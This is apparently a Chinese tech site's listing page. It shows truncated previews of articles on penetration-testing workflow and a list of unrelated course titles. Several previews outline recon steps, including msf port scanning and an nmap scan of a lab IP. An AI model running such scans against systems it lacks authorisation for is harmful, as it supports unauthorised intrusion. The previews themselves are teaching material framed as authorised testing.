2017-11-07 21:48:00任务:某公司授权你对其服务器进行攻击渗透。对某核心服务器进行入侵测试,据了解 此文只作为学习! 第一步:已知服务器ip地址所以可以做扫描端口(msf) 第二步:从上述扫描知道http并且知道是Apache2 开启 ... -
【安全】一次渗透测试完整流程
2021-01-13 20:05:08渗透测试完整流程前言渗透测试与入侵的最大区别常规渗透测试流程0x01 明确目标0x02 信息收集0x03 漏洞探测0x04 漏洞验证0x05 信息分析0x06 获取所需0x07 信息整理0x08 形成报告思维导图 前言 ==WEB安全渗透测试不是... -
一次完整的安全渗透测试_如果下一次大规模入侵涉及您的车辆而不是安全摄像机怎么办...
2020-08-25 03:57:29一次完整的安全渗透测试But my vehicle doesn’t connect to the internet….Are you sure? Statista estimates 40% of vehicles connect to the internet as of 2019 in the US (that’s 2 out of every 5 vehicles... -
一次完整的模拟渗透
2017-12-24 00:00:00模拟一次略微完整的渗透测试 WEB环境:10.10.10.100 攻击:10.10.10.1 首先Namp -T5 10.10.10.100,一般做渗透测试的时候需要nmap 一下,查看一下服务器开放的端口。 上面看到80端口开放,我们打开网页,...
-
科研工具:关于代码管理
-
图神经网络调研
-
Python:生成二维码
-
UE4游戏逆向与安全+FPS游戏逆向与安全
-
一种支持隐私保护的加密方法在云存储中的应用
-
人工智能:深度学习入门到精通实战
-
Python语言编程高级精讲课 从程序员到架构师的必修课
-
Iuwikes-业务逻辑安全的攻防思考.pdf
-
信息安全实验——点击劫持技术
-
基于Django的电子商务网站设计--第七章 表单
-
设计模式之——工厂模式
-
前端常用免费API接口汇总
-
基于合成孔径聚焦图像信息的车载三维视觉导航方法
-
Python零基础入门
-
仿真钢琴-javascript实战
-
21年新消息队列RabbitMQ视频教程AMQP教程
-
基于Django的电子商务网站设计---第三章 URL
-
不用装工具,一条 Linux 命令就能实现文件上传下载!
-
FreeBuf 2020工业互联网安全研究报告-20200120.pdf
-
基于Django的电子商务网站设计---第四章 模型和数据库